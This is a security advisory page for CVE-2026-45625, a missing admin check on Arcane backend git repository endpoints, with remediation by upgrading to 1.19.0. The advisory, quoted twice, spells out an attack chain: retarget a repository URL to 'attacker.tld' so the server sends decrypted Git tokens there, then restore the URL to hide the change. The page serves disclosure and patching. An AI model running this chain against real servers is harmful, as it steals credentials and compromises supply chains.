CVE-2026-45625: Arcane Backend Missing Admin Authorization On Git Vulnerability

CRITICAL
Advisory Identifier: GHSA-7h26-hg47-p9hx
CVSS 9.9
CWE-862
Published
Advisory Summary

CVE-2026-45625 is a CRITICAL (CVSS 9.9) missing admin authorization on git vulnerability (CWE-862: Missing Authorization) affecting Arcane Backend libraries in the Go ecosystem. The issue involves missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored git credentials and tamper with gitops configs. Remediation is available by upgrading affected packages to version 1.19.0.

CVE-2026-45625 at a Glance

CVE Identifier CVE-2026-45625
GHSA Identifier GHSA-7h26-hg47-p9hx
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-862: Missing Authorization
Affected Product Arcane Backend
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45625

To remediate this vulnerability, upgrade all affected Arcane Backend dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/getarcaneapp/arcane/backend fixed: 1.19.0
Upgrade github.com/getarcaneapp/arcane/backend to 1.19.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/getarcaneapp/arcane/backend

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45625, inspect your project dependencies for Arcane Backend:

inspect dependencies for github.com/getarcaneapp/arcane/backend

Analyze the terminal output to locate any version of Arcane Backend in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Arcane Backend, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Arcane's huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials. ## Details ### Auth bridge does not enforce role `backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`: ```go // backend/internal/huma/handlers/helpers.go:11-12 // checkAdmin checks if the current user is an admin and returns a 403 error if not. func checkAdmin(ctx context.Context) error { ... } ``` `grep -rn "checkAdmin"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `"user"` (`backend/internal/huma/handlers/users.go:222-223`): ```go if userModel.Roles == nil { userModel.Roles = []string{"user"} } ``` ### Git repository handler is missing the admin gate on 8 of 9 endpoints `backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers — `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) — perform no role check whatsoever: ```go // backend/internal/huma/handlers/git_repositories.go:326-336 func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) { if h.repoService == nil { return nil, huma.Error500InternalServerError("service not available") } actor := models.User{} if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil { actor = *currentUser } repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor) ... ``` The service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either — `grep -n "admin" backend/internal/services/git_repository_service.go` returns nothing. ### Credential-preserving update primitive `UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`: ```go // backend/internal/services/git_repository_service.go:185-219 updates := make(map[string]any) if req.Name != nil { updates["name"] = *req.Name } if req.URL != nil { updates["url"] = *req.URL } // <-- attacker-pivotable if req.AuthType != nil { updates["auth_type"] = *req.AuthType } ... if req.Token != nil { // <-- only rewritten if supplied if *req.Token == "" { updates["token"] = "" } else { encrypted, err := crypto.Encrypt(*req.Token) ... updates["token"] = encrypted } } ``` So `PUT /customize/git-repositories/{id}` with body `{"url":"https://attacker.tld/repo.git"}` retargets the repository while preserving the encrypted token. ### Sink: Basic-auth send to attacker URL `TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`: ```go // backend/internal/services/git_repository_service.go:340-363 func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) { authConfig := git.AuthConfig{ AuthType: repository.AuthType, Username: repository.Username, ... } if repository.Token != "" { token, err := crypto.Decrypt(repository.Token) ... authConfig.Token = token } ... } ``` ```go // backend/pkg/gitutil/git.go:60-69 case "http": if config.Token != "" { return &githttp.BasicAuth{ Username: config.Username, Password: config.Token, }, nil } ``` `go-git`'s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to `/test`, `/branches`, or `/files`. ### Full attack chain (HTTP-token variant) 1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account). 2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their *existence* is visible). 3. `PUT /api/customize/git-repositories/{id}` with `{"url":"https://attacker.tld/repo.git"}` retargets the repo while preserving the encrypted PAT. 4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth. 5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline. The same primitive works for `authType: "ssh"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session). ## Impact - **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C). - **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys. - **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments. - **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations. - **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role. Default Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.

CVE-2026-45625 Affected Arcane Backend Versions

1 component(s)
Fixed Versions:
1.19.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/getarcaneapp/arcane/backend
Go
< 1.19.0
1.19.0

References

Frequently Asked Questions

What is CVE-2026-45625?
CVE-2026-45625 is a security vulnerability in Arcane Backend involving Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs under CWE-862: Missing Authorization.
Which Arcane Backend versions are affected?
Affected versions include releases prior to 1.19.0 across affected packages: github.com/getarcaneapp/arcane/backend.
What version fixes CVE-2026-45625?
Upgrading to 1.19.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/getarcaneapp/arcane/backend affected?
Yes, github.com/getarcaneapp/arcane/backend is affected in releases prior to 1.19.0. Upgrade your dependency to 1.19.0 or later.
What is the CVSS score of CVE-2026-45625?
CVE-2026-45625 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45625?
CVE-2026-45625 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-45625?
Run the dependency tree command: 'inspect dependencies for github.com/getarcaneapp/arcane/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7h26-hg47-p9hx",
  "modified" : "2026-06-09T10:30:21Z",
  "published" : "2026-05-18T13:44:47Z",
  "aliases" : [ "CVE-2026-45625" ],
  "summary" : "Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs",
  "details" : "## Summary\n\nArcane's huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials.\n\n## Details\n\n### Auth bridge does not enforce role\n\n`backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`:\n\n```go\n// backend/internal/huma/handlers/helpers.go:11-12\n// checkAdmin checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdmin(ctx context.Context) error { ... }\n```\n\n`grep -rn \"checkAdmin\"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `\"user\"` (`backend/internal/huma/handlers/users.go:222-223`):\n\n```go\nif userModel.Roles == nil {\n    userModel.Roles = []string{\"user\"}\n}\n```\n\n### Git repository handler is missing the admin gate on 8 of 9 endpoints\n\n`backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers — `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) — perform no role check whatsoever:\n\n```go\n// backend/internal/huma/handlers/git_repositories.go:326-336\nfunc (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {\n    if h.repoService == nil {\n        return nil, huma.Error500InternalServerError(\"service not available\")\n    }\n    actor := models.User{}\n    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {\n        actor = *currentUser\n    }\n    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)\n    ...\n```\n\nThe service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either — `grep -n \"admin\" backend/internal/services/git_repository_service.go` returns nothing.\n\n### Credential-preserving update primitive\n\n`UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`:\n\n```go\n// backend/internal/services/git_repository_service.go:185-219\nupdates := make(map[string]any)\nif req.Name != nil      { updates[\"name\"] = *req.Name }\nif req.URL != nil       { updates[\"url\"]  = *req.URL }   // <-- attacker-pivotable\nif req.AuthType != nil  { updates[\"auth_type\"] = *req.AuthType }\n...\nif req.Token != nil {                                      // <-- only rewritten if supplied\n    if *req.Token == \"\" { updates[\"token\"] = \"\" } else {\n        encrypted, err := crypto.Encrypt(*req.Token)\n        ...\n        updates[\"token\"] = encrypted\n    }\n}\n```\n\nSo `PUT /customize/git-repositories/{id}` with body `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repository while preserving the encrypted token.\n\n### Sink: Basic-auth send to attacker URL\n\n`TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`:\n\n```go\n// backend/internal/services/git_repository_service.go:340-363\nfunc (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {\n    authConfig := git.AuthConfig{\n        AuthType: repository.AuthType, Username: repository.Username, ...\n    }\n    if repository.Token != \"\" {\n        token, err := crypto.Decrypt(repository.Token)\n        ...\n        authConfig.Token = token\n    }\n    ...\n}\n```\n\n```go\n// backend/pkg/gitutil/git.go:60-69\ncase \"http\":\n    if config.Token != \"\" {\n        return &githttp.BasicAuth{\n            Username: config.Username,\n            Password: config.Token,\n        }, nil\n    }\n```\n\n`go-git`'s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to `/test`, `/branches`, or `/files`.\n\n### Full attack chain (HTTP-token variant)\n\n1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account).\n2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their *existence* is visible).\n3. `PUT /api/customize/git-repositories/{id}` with `{\"url\":\"https://attacker.tld/repo.git\"}` retargets the repo while preserving the encrypted PAT.\n4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth.\n5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline.\n\nThe same primitive works for `authType: \"ssh\"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session).\n\n## Impact\n\n- **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).\n- **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.\n- **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.\n- **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations.\n- **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.\n\nDefault Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/getarcaneapp/arcane/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.19.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.18.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45625"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getarcaneapp/arcane"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T13:44:47Z",
    "nvd_published_at" : "2026-05-29T18:17:10Z"
  }
}